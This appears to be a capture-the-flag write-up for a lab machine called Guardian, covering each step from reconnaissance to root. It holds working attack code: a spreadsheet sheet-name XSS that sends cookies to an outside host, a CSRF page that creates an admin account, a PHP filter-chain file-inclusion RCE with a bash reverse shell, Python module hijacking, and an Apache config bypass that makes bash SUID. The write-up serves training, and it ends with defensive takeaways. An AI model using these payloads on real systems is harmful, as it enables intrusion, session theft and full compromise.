Reconnaissance#

Port Scan#

Nmap reveals two open ports:

• 22/tcp - SSH
• 80/tcp - HTTP (Apache 2.4.52)

Service Identification#

Port 80 hosts Guardian University Portal - a PHP university management platform with role-based access (student, lecturer, admin). Features include assignment submissions, grading, a notice board, chat, and report generation.

The main landing page lists 3 Student IDs:

• GU0142023@guardian.htb
• GU6262023@guardian.htb
• GU0702025@guardian.htb

The login page includes a Portal Guide which mentions the default password GU1234. Testing this against the listed student IDs:

# Valid login

GU0142023:GU1234

IDOR in Chat → Gitea Credentials#

After logging in as a student, the Chats section reveals an IDOR vulnerability. The chat_users parameters are directly controllable via URL:

http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

By iterating through user IDs, we can read any conversation on the platform. The chat between users 1 and 2 contains Gitea credentials:

http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2

Credentials found: jamil:DHsNnk3V503

Source Code via Gitea#

A Gitea instance runs on gitea.guardian.htb. Logging in with the leaked credentials reveals a repository containing the full source code of the Guardian portal:

File	Purpose
config/config.php	DB creds: root:Gu4rd14n_un1_1s_th3_b3st, salt: 8Sb)tM1vs1SS
lecturer/view-submission.php	PhpSpreadsheet/PhpWord HTML rendering (XSS)
lecturer/notices/create.php	Notice creation with reference_link (CSRF vector)
admin/reports.php	include() with regex filter (LFI)
config/csrf-tokens.php	Global token pool, never invalidated

Key libraries: PhpSpreadsheet v3.7.0 and PhpWord.

Credentials Summary#

User	Password	Source	Access
GU0142023	GU1234	Portal Guide (default)	Student panel
jamil	DHsNnk3V503	IDOR chat leak	Gitea (source code)

---

Initial Access - XSS via PhpSpreadsheet Sheet Name#

Source Code Analysis#

The lecturer/view-submission.php processes uploaded .xlsx files using PhpSpreadsheet's HTML writer:

$spreadsheet = IOFactory::load($filePath);

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);

$writer->save('php://output');

The HTML writer renders sheet names directly into the output as tab navigation elements without sanitization. By crafting an XLSX with a malicious sheet name, we achieve stored XSS when a lecturer views the submission.

Exploitation#

Note: openpyxl blocks special characters (like :) in sheet names. The workaround is to create a valid XLSX first, then modify the xl/workbook.xml inside the ZIP using xml.etree - the XML naturally entity-encodes <> characters, and PhpSpreadsheet decodes them back when rendering the HTML output:

import zipfile, os

from xml.etree import ElementTree as ET



PAYLOAD = "<script>fetch('http://10.10.14.2:8000/steal?c='+document.cookie)</script>"



# 1. Create a base XLSX with two sheets

from openpyxl import Workbook

wb = Workbook()

ws1 = wb.active

ws1.title = "Sheet1"

ws1['A1'] = "Data"

ws2 = wb.create_sheet("REPLACE_ME")

ws2['A1'] = "Data"

wb.save("base.xlsx")



# 2. Patch the sheet name in workbook.xml via XML parser

# (xml.etree will entity-encode <> automatically → &lt;script&gt;)

with zipfile.ZipFile("base.xlsx", "r") as zin:

    with zipfile.ZipFile("xss_sheetname.xlsx", "w") as zout:

        for item in zin.infolist():

            data = zin.read(item.filename)

            if item.filename == "xl/workbook.xml":

                ns = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"

                ET.register_namespace("", ns)

                ET.register_namespace("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships")

                root = ET.fromstring(data)

                for sheet in root.iter(f"{{{ns}}}sheet"):

                    if sheet.get("name") == "REPLACE_ME":

                        sheet.set("name", PAYLOAD)

                data = ET.tostring(root, xml_declaration=True, encoding="UTF-8")

            zout.writestr(item, data)

os.remove("base.xlsx")

print("[+] Created xss_sheetname.xlsx")

Upload this as a student submission. When the lecturer views the submission, PhpSpreadsheet's HTML writer renders the sheet name as a tab label without escaping, causing the XSS to fire and exfiltrate the session cookie:

python3 -m http.server 8000

# GET /steal?c=PHPSESSID%3Dgq1s4a2eisec4rjvllm7mrjk3m

Lecturer session obtained.

---

Privilege Escalation - Lecturer to Admin via CSRF#

Weak CSRF Token System#

The portal's CSRF implementation has a critical flaw in config/csrf-tokens.php:

• Tokens are stored in a shared JSON file (csrf_tokens.json)
• Tokens are never removed after use
• A token generated by any user is valid for any form (including admin endpoints)

This means a CSRF token obtained from the lecturer's notice creation page is valid for the admin's createuser.php endpoint.

Attack Chain#

With the lecturer session, we create a notice pointing the admin bot to a CSRF page hosted on our server:

# 1. Get CSRF token (valid globally)

TOKEN=$(curl -s -b 'PHPSESSID=LECTURER_SESSION' \

  'http://portal.guardian.htb/lecturer/notices/create.php' \

  | grep -oP 'csrf_token" value="\K[^"]+')



# 2. Host CSRF payload that auto-creates an admin account

cat > pwn.html << 'EOF'

<html><body>

<form id="csrf" method="POST" action="http://portal.guardian.htb/admin/createuser.php">

  <input name="username" value="hackeradmin"/>

  <input name="password" value="Hacked123!"/>

  <input name="full_name" value="System Admin"/>

  <input name="email" value="[email protected]"/>

  <input name="dob" value="1990-01-01"/>

  <input name="address" value="Campus"/>

  <input name="user_role" value="admin"/>

  <input name="csrf_token" value="TOKEN_HERE"/>

</form>

<script>document.getElementById('csrf').submit();</script>

</body></html>

EOF

python3 -m http.server 8000



# 3. Create notice with reference_link pointing to our CSRF page

# (bypass HTML type="url" validation by using curl directly)

curl -X POST 'http://portal.guardian.htb/lecturer/notices/create.php' \

  -b 'PHPSESSID=LECTURER_SESSION' \

  -d "title=Updated+Guidelines&content=Review+needed" \

  -d "reference_link=http://10.10.14.2:8000/pwn.html" \

  -d "csrf_token=$TOKEN"

The admin bot visits the reference URL → the CSRF form auto-submits → new admin account hackeradmin:Hacked123! created.

---

RCE - LFI via PHP Filter Chain#

admin/reports.php Analysis#

The admin reports page uses include() with two guards:

$report = $_GET['report'] ?? 'reports/academic.php';



if (strpos($report, '..') !== false) {

    die("Malicious request blocked");

}

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {

    die("Access denied. Invalid file");

}



include($report);

Constraints:

1. No .. allowed in the path
2. Must end with enrollment.php, academic.php, financial.php, or system.php

PHP Filter Chain Bypass#

The php://filter wrapper with chained convert.iconv filters can generate arbitrary PHP code from scratch. The php_filter_chain_generator tool automates this:

git clone https://github.com/synacktiv/php_filter_chain_generator.git



CHAIN=$(python3 php_filter_chain_generator.py \

  --chain '<?php system($_GET["cmd"]); ?>' \

  | grep '^php' | sed 's|php://temp|reports/enrollment.php|')

The generated chain:

• ✅ Ends with reports/enrollment.php (matches regex)
• ✅ Contains no .. (iconv encoding names use single dots)
• ✅ Generates arbitrary PHP code via filter transformations

# Test RCE

curl -b 'PHPSESSID=ADMIN_SESSION' \

  "http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=id"

# uid=33(www-data) gid=33(www-data) groups=33(www-data)



# Reverse shell - start listener first: nc -nlvp 4444

curl -b 'PHPSESSID=ADMIN_SESSION' \

  "http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/4444+0>%261'"

Shell as www-data.

---

Lateral Movement - Database Hash Cracking → SSH#

Database Dump#

Using the DB credentials from config.php:

mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb \

  -e "SELECT username, password_hash, user_role FROM users;"

Hashes are SHA256($password.$salt) with salt 8Sb)tM1vs1SS. Cracking with John:

john hashes.txt --wordlist=rockyou.txt --format='dynamic=sha256($p.$s)'

# admin:fakebake000

# jamil.enockson:copperhouse56

ssh jamil@portal.guardian.htb  # password: copperhouse56

---

Privilege Escalation 1 - jamil → mark (Python Module Overwrite)#

sudo Enumeration#

jamil@guardian:~$ sudo -l

User jamil may run the following commands on guardian:

    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

utilities.py Analysis#

The script imports from a local utils package:

from utils import db, attachments, logs, status

Checking permissions on the utils/ directory:

File	Permissions	Owner
status.py	-rwxrwx---	mark:admins
db.py	-rw-r-----	root:admins
others	-rw-r-----	root:admins

The status.py file is group-writable and jamil is in the admins group. The system-status action calls status.system_status() without any user check.

Exploitation#

echo 'import os; os.system("bash -i")' > /opt/scripts/utilities/utils/status.py

sudo -u mark /opt/scripts/utilities/utilities.py system-status

mark@guardian:~$ id

uid=1001(mark) gid=1001(mark) groups=1001(mark),1003(admins)

---

Privilege Escalation 2 - mark → root (Apache Config Case-Sensitivity Bypass)#

sudo Enumeration#

mark@guardian:~$ sudo -l

User mark may run the following commands on guardian:

    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Binary Analysis#

safeapache2ctl is a custom wrapper that:

1. Requires config files to be inside /home/mark/confs/
2. Reads the config and blocks Include, IncludeOptional, LoadModule directives
3. Passes the validated config to /usr/sbin/apache2ctl

strings /usr/local/bin/safeapache2ctl

...

Include

IncludeOptional

LoadModule

/home/mark/confs/

Blocked: Config includes unsafe directive.

The Bypass - Case Sensitivity#

The binary checks for directives using strncmp - a case-sensitive comparison. But Apache's config parser is case-insensitive. Writing loadmodule (lowercase) bypasses the filter while Apache processes it normally.

The ErrorLog directive with a pipe (|command) executes the command as root during Apache startup.

Exploitation#

cat > /home/mark/confs/evil.conf << 'CONF'

ServerRoot "/etc/apache2"

loadmodule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so

loadmodule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so

ServerName localhost

Mutex file:/tmp default

PidFile /tmp/evil.pid

Listen 8889

ErrorLog "|/bin/chmod u+s /bin/bash"

LogFormat "%h" common

DocumentRoot /tmp

CONF



sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/evil.conf



bash -p

# uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root)

cat /root/root.txt

---

Attack Chain Summary#

Port 80 (Guardian University Portal)

  │

  ├─ Source code analysis → config.php (DB creds, salt)

  │  └─ PhpSpreadsheet HTML writer: sheet names unsanitized

  │

  ├─ XSS via XLSX sheet name → lecturer cookie stolen

  │  └─ CSRF tokens are global and never expire

  │     └─ Notice reference_link → admin bot visits CSRF page

  │        └─ Auto-creates admin account (hackeradmin)

  │

  ├─ Admin LFI in reports.php (include with regex filter)

  │  └─ PHP filter chain generator → bypass regex + no ".."

  │     └─ RCE as www-data → reverse shell

  │

  ├─ MySQL dump → SHA256($pass.$salt) → john cracking

  │  └─ jamil.enockson:copperhouse56 → SSH as jamil

  │

  ├─ sudo (mark) utilities.py → utils/status.py is group-writable

  │  └─ Overwrite status.py → shell as mark

  │

  └─ sudo (ALL) safeapache2ctl → case-sensitive directive filter

     └─ "loadmodule" bypasses "LoadModule" check

        └─ ErrorLog pipe → chmod u+s /bin/bash → root

---

Key Takeaways#

1. PhpSpreadsheet HTML writer renders sheet names without sanitization - any user-controlled metadata in Office files should be treated as untrusted
2. CSRF tokens must be scoped and expired - a global, persistent token pool means any authenticated user's token can target any endpoint
3. PHP filter chains bypass path-based restrictions on include() - regex filters on filenames are insufficient; use allowlists of exact paths instead
4. Python module hijacking via writable files in the import path is a common sudo privesc vector - ensure all imported modules have restrictive permissions
5. Case-sensitive security checks on case-insensitive systems (Apache directives, Windows paths, SQL keywords) create bypass opportunities - always normalize case before validation